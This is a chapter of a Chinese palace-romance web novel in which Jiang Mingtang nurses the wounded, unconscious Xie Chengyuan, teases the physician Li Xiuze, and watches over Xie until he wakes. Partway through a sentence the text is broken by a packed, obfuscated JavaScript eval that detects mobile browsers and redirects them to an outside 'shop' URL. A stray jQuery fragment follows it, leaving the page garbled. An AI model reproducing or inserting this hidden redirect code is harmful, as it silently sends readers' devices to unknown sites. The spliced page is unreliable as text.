只是可惜了,姜明棠并没有上当受骗。
她吩咐着程梧慢慢的把谢承渊从床上慢慢抬起,随后才坐在了床边拿着汤勺慢慢的一点一点给他往进喂。
丝丝缕缕的汤药慢慢的渗进了谢承渊的口中,还有一些剩下的就从他嘴角慢慢流了下来.
姜明棠眼疾手快的拿着干净的帕子继续一点点喂着,程梧在一边看着不自觉地就皱起眉头,“王妃娘娘,为什么不能嘴对嘴喂啊?”
姜明棠有一瞬间的无奈,想不明白程梧一个平日里看起来那么正经的小伙子,怎么会在这种事情上钻牛角尖。
“昏迷状态下,要是强行喂药的话会呛到人,要是一个不小心甚至会窒息而亡,你说呢?”
“哦哦哦,原来如此,都怪属下孤陋寡闻,要不是王妃娘娘聪颖,属下可就把殿下害了。”
他说的一脸认真,半点没有诓骗人的意味在里面,姜明棠就是想说些什么都不好再说出口了。
这件事并不能怪程梧,战场上虽然刀剑无眼,可那时的谢承渊就算有所受伤也从未有过如此严重的情况,最多不过是喝几碗药再撒点金疮药的事。
像这次一样昏迷不醒的情况他也是第一次见,所以才会慌了神。
姜明棠是放过了程梧,却没想着要放过李修泽。
这家伙可是有着当世小神医之称的李修泽,怎么可能连这种常识都不知道。
姜明棠只怪自己刚刚也是因为担心谢承渊所以才一时间慌了神。
现在想起来,谢承渊应该是在拔完箭后就没什么事了,不然李修泽这家伙怎么可能还气定神闲地站在这里叫程梧来“捣乱”。
她慢悠悠地给谢承渊喂完了药,把瓷碗放在了一边,朝着李修泽看去,嘴上却是叫着程梧,“程梧,再帮我把殿下给放平吧!”
“好嘞好嘞。”
程梧马上应声上来把谢承渊慢慢往下拉,李修泽就这样站在一边看着,在察觉到姜明棠来者不善的视线后,往后退了一两步,找补道:“哎呦,我也为了王爷忙前忙后一整晚了,该回去休息休息了,王妃娘娘,属下也告退了。”
程梧才没管他,一声不吭的站在一旁。
姜明棠却是勾唇笑了,慢慢的站起身,“李大人留步......”
就这样,李修泽已经偏过去的半个身子又直挺挺的转了过来,他努力的在唇角挤出一抹笑来,硬着头皮问道:“王妃娘娘还有何吩咐?”
“也没什么,只是有件事想请教一下。”
姜明棠迈着步子走至李修泽身边,伸出手轻轻拍了一下李修泽的肩膀,反问道:“殿下曾经告诉我,李大人乃是天下少有的神医,应该不会不知道该怎么给昏迷之人喂药吧?”
程梧原本一门心思的扑在自家主子身上,听见姜明棠的话也冷冷的转过头来看向李修泽。
他只是性格耿直,但不是真傻。
经过姜明棠这么一提醒,哪里还不知道李修泽这家伙刚刚故意什么都不说,还美滋滋的看了一场自己闹出来的大笑话。
李修泽在看见两人相差无几的神色后,咽了一口并不存在的口水,赔笑道:“刚刚太担心王爷,给忘了这茬事了,还好王妃娘娘博学多闻,不然可就出**烦了。”
“哦——原来是这样啊!”
姜明棠眉眼间都带着笑,故意将声音拉得老长,看到李修泽肉眼可见的心虚起来后,抿唇笑了笑,随后继续说道:“李大人待殿下之心可真是叫我这个当妻子的都自愧不如......”
“哪里哪里?”
李修泽摆了摆手,哪里听不出姜明棠话里话外的阴阳怪气,可偏偏他做贼心虚,眼下是一句话都说不出来。
姜明棠也没指望着李修泽能说出来什么,叫他下去好好休息。
李修泽就这样灰溜溜地立马离开了,离开的时候还在想。
谢承渊这家伙怎么会喜欢这种不解风情的女人,这女人也太可怕了吧!本神医以后再招惹她一下就是狗!
李修泽走后,殿内又安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097703|195674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
静了下来。
姜明棠重新回到了床边坐下,打算继续守着谢承渊。
毕竟是伤在了腰腹上,就算是没有生命之危了也马虎不得。
程梧瞧见姜明棠又坐在了自家主子的旁边,心中划过了一股暖流。
王妃娘娘还是在意殿下的,不然这样被千娇万宠长大的相府小姐,又怎么可能愿意屈尊降贵的坐在凉飕飕的地上守着殿下呢?
“王妃,您都守了殿下一夜了,不然回去休息休息吧,这里属下守着就好。”
“没事,你再休息会儿吧,我等天亮了再走,反正我早上没什么事,可以慢慢回去补觉,你天亮了再照顾殿下也不迟。”
程梧知道姜明棠也是好意,马上点头应下,“是,辛苦王妃了。”
闹腾了一夜,天依旧没亮,姜明棠微微叹息,看着紧锁着眉头的谢承渊,伸手慢慢抚平了他的眉心,随后才慢慢的开始打盹儿。
时间一分一秒的过去,天边慢慢的泛起了一层鱼肚白。
亮光顺着寝殿的窗户透进来,谢承渊在这个时候悠悠转醒。
腰腹上传来顿顿的痛,疼的他连呼吸都有些困难,他睁开眼望着天花板,轻轻呼出一口气,想要调节内力叫自己好受一些。
可手边的被褥却轻轻地动了一下。
他偏头去看,瞧见了姜明棠恬静的睡颜。
她怎么会在这?
他这么想着,视线便在殿内扫视了一圈,最后锁定在了老远处的程梧身上。
这臭小子,自己都已经交代过了他不许将此事告诉她,他还是说了,害的她都休息不好。
谢承渊虽然心中对程梧的这种行为稍有一点不满,可还是口嫌体正直的偏头去看姜明棠。
姜明棠皮肤白皙,只要稍微睡不好眼底下就会一圈乌黑,像是被人打了一拳似的。
此刻她就这样枕着自己的胳膊坐在地上小憩,他能看见姜明棠满脸的疲倦之色,不用想都知道她一定是为了自己忙活了一晚上。